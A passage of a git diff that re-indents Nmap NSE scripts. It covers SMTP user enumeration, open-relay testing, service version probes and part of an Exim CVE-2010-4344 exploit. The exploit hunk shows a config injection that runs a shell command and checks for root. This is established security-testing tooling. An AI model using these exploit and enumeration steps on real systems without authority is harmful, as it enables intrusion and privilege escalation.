b59fc47d3..719f19d57 100644 --- a/scripts/murmur-version.nse +++ b/scripts/murmur-version.nse @@ -43,60 +43,60 @@ categories = { "version" } portrule = shortport.version_port_or_service({64738}, "murmur", {"tcp", "udp"}) action = function(host, port) - local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number) - mutex("lock") + local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number) + mutex("lock") - if host.registry["murmur-version"] == nil then - host.registry["murmur-version"] = {} - end - -- Maybe the script already ran for this port number on another protocol - local r = host.registry["murmur-version"][port.number] - if r == nil then - r = {} - host.registry["murmur-version"][port.number] = r + if host.registry["murmur-version"] == nil then + host.registry["murmur-version"] = {} + end + -- Maybe the script already ran for this port number on another protocol + local r = host.registry["murmur-version"][port.number] + if r == nil then + r = {} + host.registry["murmur-version"][port.number] = r - local status, result = comm.exchange( - host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 }) - if not status then - mutex("done") - return - end - - -- UDP port is open - nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open") - - if not string.match(result, "^%z...abcdefgh............$") then - mutex("done") - return - end - - -- Detected; extract relevant data - local _ - _, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth = - bin.unpack(">CCCLIII", result, 2) + local status, result = comm.exchange( + host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 }) + if not status then + mutex("done") + return end - mutex("done") + -- UDP port is open + nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open") - -- If the registry is empty the port was probed but Murmur wasn't detected - if next(r) == nil then - return + if not string.match(result, "^%z...abcdefgh............$") then + mutex("done") + return end - port.version.name = "murmur" - port.version.name_confidence = 10 - port.version.product = "Murmur" - port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c - port.version.extrainfo = "; users: " .. r.users .. "; max. users: " .. - r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s" - -- Add extra info depending on protocol - if port.protocol == "tcp" then - port.version.extrainfo = "control port" .. port.version.extrainfo - else - port.version.extrainfo = "voice port" .. port.version.extrainfo - end + -- Detected; extract relevant data + local _ + _, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth = + bin.unpack(">CCCLIII", result, 2) + end - nmap.set_port_version(host, port, "hardmatched") + mutex("done") + -- If the registry is empty the port was probed but Murmur wasn't detected + if next(r) == nil then return + end + + port.version.name = "murmur" + port.version.name_confidence = 10 + port.version.product = "Murmur" + port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c + port.version.extrainfo = "; users: " .. r.users .. "; max. users: " .. + r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s" + -- Add extra info depending on protocol + if port.protocol == "tcp" then + port.version.extrainfo = "control port" .. port.version.extrainfo + else + port.version.extrainfo = "voice port" .. port.version.extrainfo + end + + nmap.set_port_version(host, port, "hardmatched") + + return end diff --git a/scripts/skypev2-version.nse b/scripts/skypev2-version.nse index a73885fa4..17e1f2766 100644 --- a/scripts/skypev2-version.nse +++ b/scripts/skypev2-version.nse @@ -18,36 +18,36 @@ categories = {"version"} portrule = function(host, port) - return (port.number == 80 or port.number == 443 or - port.service == nil or port.service == "" or - port.service == "unknown") - and port.protocol == "tcp" and port.state == "open" - and port.version.name_confidence < 10 - and not(shortport.port_is_excluded(port.number,port.protocol)) + return (port.number == 80 or port.number == 443 or + port.service == nil or port.service == "" or + port.service == "unknown") + and port.protocol == "tcp" and port.state == "open" + and port.version.name_confidence < 10 + and not(shortport.port_is_excluded(port.number,port.protocol)) end action = function(host, port) - local status, result = comm.exchange(host, port, - "GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol}) - if (not status) then - return - end - if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then - return - end - -- So far so good, now see if we get random data for another request - status, result = comm.exchange(host, port, - "random data\r\n\r\n", {bytes=15, proto=port.protocol}) + local status, result = comm.exchange(host, port, + "GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol}) + if (not status) then + return + end + if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then + return + end + -- So far so good, now see if we get random data for another request + status, result = comm.exchange(host, port, + "random data\r\n\r\n", {bytes=15, proto=port.protocol}) - if (not status) then - return - end - if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then - -- Detected - port.version.name = "skype2" - port.version.product = "Skype" - nmap.set_port_version(host, port) - return - end - return + if (not status) then + return + end + if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then + -- Detected + port.version.name = "skype2" + port.version.product = "Skype" + nmap.set_port_version(host, port) + return + end + return end diff --git a/scripts/smtp-commands.nse b/scripts/smtp-commands.nse index 446dc2f55..aa23e6a31 100644 --- a/scripts/smtp-commands.nse +++ b/scripts/smtp-commands.nse @@ -68,64 +68,64 @@ categories = {"default", "discovery", "safe"} portrule = shortport.port_or_service({ 25, 465, 587 }, - { "smtp", "smtps", "submission" }) + { "smtp", "smtps", "submission" }) function go(host, port) - local options = { - timeout = 10000, - recv_before = true, - ssl = true, - } + local options = { + timeout = 10000, + recv_before = true, + ssl = true, + } - local domain = stdnse.get_script_args('smtp-commands.domain') or - smtp.get_domain(host) + local domain = stdnse.get_script_args('smtp-commands.domain') or + smtp.get_domain(host) - local result, status = {} - -- Try to connect to server. - local socket, response = smtp.connect(host, port, options) - if not socket then - return false, string.format("Couldn't establish connection on port %i", - port.number) - end + local result, status = {} + -- Try to connect to server. + local socket, response = smtp.connect(host, port, options) + if not socket then + return false, string.format("Couldn't establish connection on port %i", + port.number) + end - status, response = smtp.ehlo(socket, domain) - if not status then - return status, response - end + status, response = smtp.ehlo(socket, domain) + if not status then + return status, response + end - response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250- - response = string.gsub(response, "\r\n", "\n") -- normalize CR LF - response = string.gsub(response, "\n\r", "\n") -- normalize LF CR - response = string.gsub(response, "^\n+(.-)\n+$", "%1") - response = string.gsub(response, "\n", ", ") -- LF to comma + response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250- + response = string.gsub(response, "\r\n", "\n") -- normalize CR LF + response = string.gsub(response, "\n\r", "\n") -- normalize LF CR + response = string.gsub(response, "^\n+(.-)\n+$", "%1") + response = string.gsub(response, "\n", ", ") -- LF to comma + response = string.gsub(response, "%s+", " ") -- get rid of extra spaces + table.insert(result,response) + + status, response = smtp.help(socket) + if status then + response = string.gsub(response, "214[%-%s]+", "") -- 214 + response = string.gsub(response, "^%s+(.-)%s+$", "%1") response = string.gsub(response, "%s+", " ") -- get rid of extra spaces table.insert(result,response) + smtp.quit(socket) + end - status, response = smtp.help(socket) - if status then - response = string.gsub(response, "214[%-%s]+", "") -- 214 - response = string.gsub(response, "^%s+(.-)%s+$", "%1") - response = string.gsub(response, "%s+", " ") -- get rid of extra spaces - table.insert(result,response) - smtp.quit(socket) - end - - return true, result + return true, result end action = function(host, port) - local status, result = go(host, port) + local status, result = go(host, port) - -- The go function returned false, this means that the result is a simple error message. - if not status then - return result - else - if #result > 0 then - local final = {} - for index, test in ipairs(result) do - table.insert(final, test) - end - return stdnse.strjoin("\n ", final) - end + -- The go function returned false, this means that the result is a simple error message. + if not status then + return result + else + if #result > 0 then + local final = {} + for index, test in ipairs(result) do + table.insert(final, test) + end + return stdnse.strjoin("\n ", final) end + end end diff --git a/scripts/smtp-enum-users.nse b/scripts/smtp-enum-users.nse index 49d32e015..02cdb7556 100644 --- a/scripts/smtp-enum-users.nse +++ b/scripts/smtp-enum-users.nse @@ -54,14 +54,14 @@ categories = {"auth","external","intrusive"} portrule = shortport.port_or_service({ 25, 465, 587 }, - { "smtp", "smtps", "submission" }) + { "smtp", "smtps", "submission" }) STATUS_CODES = { - ERROR = 1, - NOTPERMITTED = 2, - VALID = 3, - INVALID = 4, - UNKNOWN = 5 + ERROR = 1, + NOTPERMITTED = 2, + VALID = 3, + INVALID = 4, + UNKNOWN = 5 } ---Counts the number of occurrences in a table. Helper function @@ -71,14 +71,14 @@ STATUS_CODES = { -- @param what What element to count -- @return Number of occurrences function table_count(from, what) - local result = 0 + local result = 0 - for index, item in ipairs(from) do - if item == what then - result = result + 1 - end + for index, item in ipairs(from) do + if item == what then + result = result + 1 end - return result + end + return result end ---Creates a new table from a source without the duplicates. Helper @@ -87,15 +87,15 @@ end -- @param from Source table -- @return New table without the duplicates function table_unique(from) - local result = {} + local result = {} - for index, item in ipairs(from) do - if (table_count(result, item) == 0) then - result[#result + 1] = item - end + for index, item in ipairs(from) do + if (table_count(result, item) == 0) then + result[#result + 1] = item end + end - return result + return result end ---Get the method or methods to be used. If the user didn't specify any @@ -103,32 +103,32 @@ end -- -- @return A table containing the methods to try function get_method() - local result = {} + local result = {} - local methods = stdnse.get_script_args('smtp-enum-users.methods') - if methods and type(methods) == "table" then - -- For each method specified. - for _, method in ipairs(methods) do - -- Are the elements of the argument valid methods. - local upper = string.upper(method) + local methods = stdnse.get_script_args('smtp-enum-users.methods') + if methods and type(methods) == "table" then + -- For each method specified. + for _, method in ipairs(methods) do + -- Are the elements of the argument valid methods. + local upper = string.upper(method) - if (upper == "RCPT") or (upper == "EXPN") or - (upper == "VRFY") then - table.insert(result, upper) - else - return false, method - end - end + if (upper == "RCPT") or (upper == "EXPN") or + (upper == "VRFY") then + table.insert(result, upper) + else + return false, method + end end + end - -- The methods weren't specified. - if #result == 0 then - result = { "RCPT", "VRFY", "EXPN" } - else - result = table_unique(result) - end + -- The methods weren't specified. + if #result == 0 then + result = { "RCPT", "VRFY", "EXPN" } + else + result = table_unique(result) + end - return true, result + return true, result end ---Generic function to perform user discovery. @@ -139,44 +139,44 @@ end -- @param domain Domain to use in the command -- @return Status and depending on the code, a error message function do_gnrc(socket, command, username, domain) - local combinations = { - string.format("%s", username), - string.format("%s@%s", username, domain) - } + local combinations = { + string.format("%s", username), + string.format("%s@%s", username, domain) + } - for index, combination in ipairs(combinations) do - -- Lets try to issue the command. - local status, response = smtp.query(socket, command, combination) + for index, combination in ipairs(combinations) do + -- Lets try to issue the command. + local status, response = smtp.query(socket, command, combination) - -- If this command fails to be sent, then something - -- went wrong with the connection. - if not status then - return STATUS_CODES.ERROR, - string.format("Failed to issue %s %s command (%s)\n", - command, combination, response) - end - - if string.match(response, "^530") then - -- If the command failed, check if authentication is - -- needed because all the other attempts will fail. - return STATUS_CODES.AUTHENTICATION - elseif string.match(response, "^502") or - string.match(response, "^252") or - string.match(response, "^550") then - -- The server doesn't implement the command or it is disallowed. - return STATUS_CODES.NOTPERMITTED - elseif smtp.check_reply(command, response) then - -- User accepted. - if nmap.verbosity() > 1 then - return STATUS_CODES.VALID, - string.format("%s, %s", command, username) - else - return STATUS_CODES.VALID, username - end - end + -- If this command fails to be sent, then something + -- went wrong with the connection. + if not status then + return STATUS_CODES.ERROR, + string.format("Failed to issue %s %s command (%s)\n", + command, combination, response) end - return STATUS_CODES.INVALID + if string.match(response, "^530") then + -- If the command failed, check if authentication is + -- needed because all the other attempts will fail. + return STATUS_CODES.AUTHENTICATION + elseif string.match(response, "^502") or + string.match(response, "^252") or + string.match(response, "^550") then + -- The server doesn't implement the command or it is disallowed. + return STATUS_CODES.NOTPERMITTED + elseif smtp.check_reply(command, response) then + -- User accepted. + if nmap.verbosity() > 1 then + return STATUS_CODES.VALID, + string.format("%s, %s", command, username) + else + return STATUS_CODES.VALID, username + end + end + end + + return STATUS_CODES.INVALID end ---Verify if a username is valid using the EXPN command (wrapper @@ -187,7 +187,7 @@ end -- @param domain Domain to use in the command -- @return Status and depending on the code, a error message function do_expn(socket, username, domain) - return do_gnrc(socket, "EXPN", username, domain) + return do_gnrc(socket, "EXPN", username, domain) end ---Verify if a username is valid using the VRFY command (wrapper @@ -198,7 +198,7 @@ end -- @param domain Domain to use in the command -- @return Status and depending on the code, a error message function do_vrfy(socket, username, domain) - return do_gnrc(socket, "VRFY", username, domain) + return do_gnrc(socket, "VRFY", username, domain) end issued_from = false @@ -214,59 +214,59 @@ issued_from = false -- @param domain Domain to use in the command -- @return Status and depending on the code, a error message function do_rcpt(socket, username, domain) - local status, response - if not issued_from then + local status, response + if not issued_from then -- Lets try to issue MAIL FROM command. status, response = smtp.query(socket, "MAIL", - string.format("FROM:", domain)) + string.format("FROM:", domain)) if not status then - -- If this command fails to be sent, then something went wrong - -- with the connection. - return STATUS_CODES.ERROR, - string.format("Failed to issue MAIL FROM: command (%s)", - domain, response) - elseif string.match(response, "^530") then - -- If the command failed, check if authentication is needed - -- because all the other attempts will fail. - return STATUS_CODES.ERROR, - "Couldn't perform user enumeration, authentication needed" - elseif not smtp.check_reply("MAIL", response) then - -- Only accept 250 code as success. - return STATUS_CODES.NOTPERMITTED, - "Server did not accept the MAIL FROM command" - end - end - - status, response = smtp.query(socket, "RCPT", - string.format("TO:<%s@%s>", username, domain)) - - if not status then - return STATUS_CODES.ERROR, - string.format("Failed to issue RCPT TO:<%s@%s> command (%s)", - username, domain, response) - elseif string.match(response, "^550") then - -- 550 User Unknown - return STATUS_CODES.UNKNOWN - elseif string.match(response, "^553") then - -- 553 Relaying Denied - return STATUS_CODES.NOTPERMITTED + -- If this command fails to be sent, then something went wrong + -- with the connection. + return STATUS_CODES.ERROR, + string.format("Failed to issue MAIL FROM: command (%s)", + domain, response) elseif string.match(response, "^530") then - -- If the command failed, check if authentication is needed because - -- all the other attempts will fail. - return STATUS_CODES.AUTHENTICATION - elseif smtp.check_reply("RCPT", response) then - issued_from = true - -- User is valid. - if nmap.verbosity() > 1 then - return STATUS_CODES.VALID, string.format("RCPT, %s", username) - else - return STATUS_CODES.VALID, username - end + -- If the command failed, check if authentication is needed + -- because all the other attempts will fail. + return STATUS_CODES.ERROR, + "Couldn't perform user enumeration, authentication needed" + elseif not smtp.check_reply("MAIL", response) then + -- Only accept 250 code as success. + return STATUS_CODES.NOTPERMITTED, + "Server did not accept the MAIL FROM command" end + end + status, response = smtp.query(socket, "RCPT", + string.format("TO:<%s@%s>", username, domain)) + + if not status then + return STATUS_CODES.ERROR, + string.format("Failed to issue RCPT TO:<%s@%s> command (%s)", + username, domain, response) + elseif string.match(response, "^550") then + -- 550 User Unknown + return STATUS_CODES.UNKNOWN + elseif string.match(response, "^553") then + -- 553 Relaying Denied + return STATUS_CODES.NOTPERMITTED + elseif string.match(response, "^530") then + -- If the command failed, check if authentication is needed because + -- all the other attempts will fail. + return STATUS_CODES.AUTHENTICATION + elseif smtp.check_reply("RCPT", response) then issued_from = true - return STATUS_CODES.INVALID + -- User is valid. + if nmap.verbosity() > 1 then + return STATUS_CODES.VALID, string.format("RCPT, %s", username) + else + return STATUS_CODES.VALID, username + end + end + + issued_from = true + return STATUS_CODES.INVALID end ---Script function that does all the work. @@ -275,108 +275,108 @@ end -- @param port Target port -- @return The user accounts or a error message. function go(host, port) - -- Get the current usernames list from the file. - local status, nextuser = unpwdb.usernames() + -- Get the current usernames list from the file. + local status, nextuser = unpwdb.usernames() - if not status then - return false, "Failed to read the user names database" + if not status then + return false, "Failed to read the user names database" + end + + local options = { + timeout = 10000, + recv_before = true, + ssl = true, + } + local domain = stdnse.get_script_args('smtp-enum-users.domain') or + smtp.get_domain(host) + + local methods + status, methods = get_method() + + if not status then + return false, string.format("Invalid method found, %s", methods) + end + + local socket, response = smtp.connect(host, port, options) + + -- Failed connection attempt. + if not socket then + return false, string.format("Couldn't establish connection on port %i", + port.number) + end + + status, response = smtp.ehlo(socket, domain) + if not status then + return status, response + end + + local result = {} + + -- This function is used when something goes wrong with + -- the connection. It makes sure that if it found users before + -- the error occurred, they will be returned. + local failure = function(message) + if #result > 0 then + table.insert(result, message) + return true, result + else + return false, message + end + end + + -- Get the first user to be tested. + local username = nextuser() + + for index, method in ipairs(methods) do + while username do + if method == "RCPT" then + status, response = do_rcpt(socket, username, domain) + elseif method == "VRFY" then + status, response = do_vrfy(socket, username, domain) + elseif method == "EXPN" then + status, response = do_expn(socket, username, domain) + end + + if status == STATUS_CODES.NOTPERMITTED then + -- Invalid method. Don't test anymore users with + -- the current method. + break + elseif status == STATUS_CODES.VALID then + -- User found, lets save it. + table.insert(result, response) + elseif status == STATUS_CODES.ERROR then + -- An error occurred with the connection. + return failure(response) + elseif status == STATUS_CODES.AUTHENTICATION then + smtp.quit(socket) + return false, "Couldn't perform user enumeration, authentication needed" + elseif status == STATUS_CODES.INVALID then + table.insert(result, + string.format("Method %s returned a unhandled status code.", + method)) + break + end + username = nextuser() end - local options = { - timeout = 10000, - recv_before = true, - ssl = true, - } - local domain = stdnse.get_script_args('smtp-enum-users.domain') or - smtp.get_domain(host) - - local methods - status, methods = get_method() - - if not status then - return false, string.format("Invalid method found, %s", methods) + -- No more users to test, don't test with other methods. + if username == nil then + break end + end - local socket, response = smtp.connect(host, port, options) - - -- Failed connection attempt. - if not socket then - return false, string.format("Couldn't establish connection on port %i", - port.number) - end - - status, response = smtp.ehlo(socket, domain) - if not status then - return status, response - end - - local result = {} - - -- This function is used when something goes wrong with - -- the connection. It makes sure that if it found users before - -- the error occurred, they will be returned. - local failure = function(message) - if #result > 0 then - table.insert(result, message) - return true, result - else - return false, message - end - end - - -- Get the first user to be tested. - local username = nextuser() - - for index, method in ipairs(methods) do - while username do - if method == "RCPT" then - status, response = do_rcpt(socket, username, domain) - elseif method == "VRFY" then - status, response = do_vrfy(socket, username, domain) - elseif method == "EXPN" then - status, response = do_expn(socket, username, domain) - end - - if status == STATUS_CODES.NOTPERMITTED then - -- Invalid method. Don't test anymore users with - -- the current method. - break - elseif status == STATUS_CODES.VALID then - -- User found, lets save it. - table.insert(result, response) - elseif status == STATUS_CODES.ERROR then - -- An error occurred with the connection. - return failure(response) - elseif status == STATUS_CODES.AUTHENTICATION then - smtp.quit(socket) - return false, "Couldn't perform user enumeration, authentication needed" - elseif status == STATUS_CODES.INVALID then - table.insert(result, - string.format("Method %s returned a unhandled status code.", - method)) - break - end - username = nextuser() - end - - -- No more users to test, don't test with other methods. - if username == nil then - break - end - end - - smtp.quit(socket) - return true, result + smtp.quit(socket) + return true, result end action = function(host, port) - local status, result = go(host, port) + local status, result = go(host, port) - -- The go function returned true, lets check if it - -- didn't found any accounts. - if status and #result == 0 then - return stdnse.format_output(true, "Couldn't find any accounts") - end + -- The go function returned true, lets check if it + -- didn't found any accounts. + if status and #result == 0 then + return stdnse.format_output(true, "Couldn't find any accounts") + end - return stdnse.format_output(true, result) + return stdnse.format_output(true, result) end diff --git a/scripts/smtp-open-relay.nse b/scripts/smtp-open-relay.nse index 7bf4f5469..bd759232e 100644 --- a/scripts/smtp-open-relay.nse +++ b/scripts/smtp-open-relay.nse @@ -79,210 +79,210 @@ categories = {"discovery","intrusive","external"} portrule = shortport.port_or_service({ 25, 465, 587 }, - { "smtp", "smtps", "submission" }) + { "smtp", "smtps", "submission" }) ---Gets the user specified parameters to be used in the tests. -- --@param host Target host (used for the ip parameter default value) --@return Domain, from, to and ip to be used in the tests function get_parameters(host) - -- call smtp.get_domain() without the host table to use the - -- 'nmap.scanme.org' host name, we are scanning for open relays. - local domain = stdnse.get_script_args('smtp-open-relay.domain') or - smtp.get_domain() + -- call smtp.get_domain() without the host table to use the + -- 'nmap.scanme.org' host name, we are scanning for open relays. + local domain = stdnse.get_script_args('smtp-open-relay.domain') or + smtp.get_domain() - local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam" + local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam" - local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest" + local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest" - local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip + local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip - return domain, from, to, ip + return domain, from, to, ip end function go(host, port) - local options = { - timeout = 10000, - recv_before = true, - ssl = true, - } + local options = { + timeout = 10000, + recv_before = true, + ssl = true, + } - local result, status, index = {} + local result, status, index = {} - local domain, from, to, ip = get_parameters(host) + local domain, from, to, ip = get_parameters(host) - local socket, response = smtp.connect(host, port, options) - if not socket then - return false, string.format("Couldn't establish connection on port %i", - port.number) + local socket, response = smtp.connect(host, port, options) + if not socket then + return false, string.format("Couldn't establish connection on port %i", + port.number) + end + + local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)") + + local status, response = smtp.ehlo(socket, domain) + if not status then + return status, response + end + + if not srvname then + srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)") + end + + -- Antispam tests. + local tests = { + { + from = "", + to = string.format("%s@%s", to, domain) + }, + { + from = string.format("%s@%s", from, domain), + to = string.format("%s@%s", to, domain) + }, + { + from = string.format("%s@%s", from, srvname), + to = string.format("%s@%s", to, domain) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s@%s", to, domain) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s%%%s@[%s]", to, domain, ip) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s%%%s@%s", to, domain, srvname) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("\"%s@%s\"", to, domain) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("\"%s%%%s\"", to, domain) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s@%s@[%s]", to, domain, ip) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("\"%s@%s\"@[%s]", to, domain, ip) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s@%s@%s", to, domain, srvname) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("@[%s]:%s@%s", ip, to, domain) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("@%s:%s@%s", srvname, to, domain) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s!%s", domain, to) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s!%s@[%s]", domain, to, ip) + }, + { + from = string.format("%s@[%s]", from, ip), + to = string.format("%s!%s@%s", domain, to, srvname) + }, + } + + -- This function is used when something goes wrong with the connection. + -- It makes sure that if it found working combinations before the error + -- occurred, they will be returned. If the debug flag is enabled the + -- error message will be appended to the combinations list. + local failure = function(message) + if #result > 0 then + table.insert(result, message) + return true, result + else + return false, message end + end - local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)") - - local status, response = smtp.ehlo(socket, domain) + for index = 1, #tests do + status, response = smtp.reset(socket) if not status then - return status, response + if string.match(response, "530") then + return false, "Server isn't an open relay, authentication needed" + end + return failure(response) end - if not srvname then - srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)") + status, response = smtp.query(socket, "MAIL", + string.format("FROM:<%s>", + tests[index]["from"])) + -- If this command fails to be sent, then something went + -- wrong with the connection. + if not status then + return failure(string.format("Failed to issue %s command (%s)", + tests[index]["from"], response)) end - -- Antispam tests. - local tests = { - { - from = "", - to = string.format("%s@%s", to, domain) - }, - { - from = string.format("%s@%s", from, domain), - to = string.format("%s@%s", to, domain) - }, - { - from = string.format("%s@%s", from, srvname), - to = string.format("%s@%s", to, domain) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s@%s", to, domain) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s%%%s@[%s]", to, domain, ip) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s%%%s@%s", to, domain, srvname) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("\"%s@%s\"", to, domain) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("\"%s%%%s\"", to, domain) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s@%s@[%s]", to, domain, ip) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("\"%s@%s\"@[%s]", to, domain, ip) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s@%s@%s", to, domain, srvname) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("@[%s]:%s@%s", ip, to, domain) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("@%s:%s@%s", srvname, to, domain) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s!%s", domain, to) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s!%s@[%s]", domain, to, ip) - }, - { - from = string.format("%s@[%s]", from, ip), - to = string.format("%s!%s@%s", domain, to, srvname) - }, - } + if string.match(response, "530") then + smtp.quit(socket) + return false, "Server isn't an open relay, authentication needed" + elseif smtp.check_reply("MAIL", response) then + -- Lets try to actually relay. + status, response = smtp.query(socket, "RCPT", + string.format("TO:<%s>", + tests[index]["to"])) + if not status then + return failure(string.format("Failed to issue %s command (%s)", + tests[index]["to"], response)) + end - -- This function is used when something goes wrong with the connection. - -- It makes sure that if it found working combinations before the error - -- occurred, they will be returned. If the debug flag is enabled the - -- error message will be appended to the combinations list. - local failure = function(message) - if #result > 0 then - table.insert(result, message) - return true, result - else - return false, message - end + if string.match(response, "530") then + smtp.quit(socket) + return false, "Server isn't an open relay, authentication needed" + elseif smtp.check_reply("RCPT", response) then + -- Save the working from and to combination. + table.insert(result, + string.format("MAIL FROM:<%s> -> RCPT TO:<%s>", + tests[index]["from"], tests[index]["to"])) + end end + end - for index = 1, #tests do - status, response = smtp.reset(socket) - if not status then - if string.match(response, "530") then - return false, "Server isn't an open relay, authentication needed" - end - return failure(response) - end - - status, response = smtp.query(socket, "MAIL", - string.format("FROM:<%s>", - tests[index]["from"])) - -- If this command fails to be sent, then something went - -- wrong with the connection. - if not status then - return failure(string.format("Failed to issue %s command (%s)", - tests[index]["from"], response)) - end - - if string.match(response, "530") then - smtp.quit(socket) - return false, "Server isn't an open relay, authentication needed" - elseif smtp.check_reply("MAIL", response) then - -- Lets try to actually relay. - status, response = smtp.query(socket, "RCPT", - string.format("TO:<%s>", - tests[index]["to"])) - if not status then - return failure(string.format("Failed to issue %s command (%s)", - tests[index]["to"], response)) - end - - if string.match(response, "530") then - smtp.quit(socket) - return false, "Server isn't an open relay, authentication needed" - elseif smtp.check_reply("RCPT", response) then - -- Save the working from and to combination. - table.insert(result, - string.format("MAIL FROM:<%s> -> RCPT TO:<%s>", - tests[index]["from"], tests[index]["to"])) - end - end - end - - smtp.quit(socket) - return true, result + smtp.quit(socket) + return true, result end action = function(host, port) - local status, result = go(host, port) + local status, result = go(host, port) - -- The go function returned false, this means that the result is - -- a simple error message. - if not status then - return result - else - -- Combinations were found. If verbosity is active, the script - -- will print all the successful tests. Otherwise it will only - -- print the conclusion. - if #result > 0 then - local final = {} - table.insert(final, - string.format("Server is an open relay (%i/16 tests)", - (#result))) + -- The go function returned false, this means that the result is + -- a simple error message. + if not status then + return result + else + -- Combinations were found. If verbosity is active, the script + -- will print all the successful tests. Otherwise it will only + -- print the conclusion. + if #result > 0 then + local final = {} + table.insert(final, + string.format("Server is an open relay (%i/16 tests)", + (#result))) - if nmap.verbosity() > 1 then - for index, test in ipairs(result) do - table.insert(final, test) - end - end - - return stdnse.strjoin("\n ", final) + if nmap.verbosity() > 1 then + for index, test in ipairs(result) do + table.insert(final, test) end + end - return "Server doesn't seem to be an open relay, all tests failed" + return stdnse.strjoin("\n ", final) end + + return "Server doesn't seem to be an open relay, all tests failed" + end end diff --git a/scripts/smtp-vuln-cve2010-4344.nse b/scripts/smtp-vuln-cve2010-4344.nse index 6e2cb93b6..3667f735d 100644 --- a/scripts/smtp-vuln-cve2010-4344.nse +++ b/scripts/smtp-vuln-cve2010-4344.nse @@ -75,7 +75,7 @@ categories = {"exploit", "intrusive", "vuln"} portrule = shortport.port_or_service({25, 465, 587}, - {"smtp", "smtps", "submission"}) + {"smtp", "smtps", "submission"}) local function smtp_finish(socket, status, msg) if socket then @@ -109,21 +109,21 @@ local function escalate_privs(socket, smtp_opts) local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF)) local exim_run = "exim -C"..tmp_file.." -q" local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > ".. - tmp_file.."' }}" + tmp_file.."' }}" stdnse.print_debug(2, "%s: trying to escalate privileges", - SCRIPT_NAME) + SCRIPT_NAME) local status, ret = send_recv(socket, "id\n") if not status then return status, ret end results = string.format(" Before 'id': %s", - string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) + string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) status, ret = send_recv(socket, - string.format("cat > %s << EOF\n", - tmp_file)) + string.format("cat > %s << EOF\n", + tmp_file)) if not status then return status, ret end @@ -144,10 +144,10 @@ local function escalate_privs(socket, smtp_opts) elseif ret:match("uid=0%(root%)") then exploited = true results = results..string.format("\n After 'id': %s", - string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) + string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) stdnse.print_debug(2, - "%s: successfully exploited the Exim privileges escalation.", - SCRIPT_NAME) + "%s: successfully exploited the Exim privileges escalation.", + SCRIPT_NAME) end -- delete tmp file, should we care about this ? @@ -164,7 +164,7 @@ local function exploit_heap(socket, smtp_opts) local exploited, ret = false, "" stdnse.print_debug(2, "%s: exploiting the heap overflow", - SCRIPT_NAME) + SCRIPT_NAME) local status, response = smtp.mail(socket, smtp_opts.mailfrom) if not status then @@ -185,14 +185,14 @@ local function exploit_heap(socket, smtp_opts) local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192 local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from" local log_host = string.format("%s(%s)", - smtp_opts.ehlo_host ~= smtp_opts.domain and - smtp_opts.ehlo_host.." " or "", - smtp_opts.domain) + smtp_opts.ehlo_host ~= smtp_opts.domain and + smtp_opts.ehlo_host.." " or "", + smtp_opts.domain) log_buf = string.format("%s <%s> H=%s 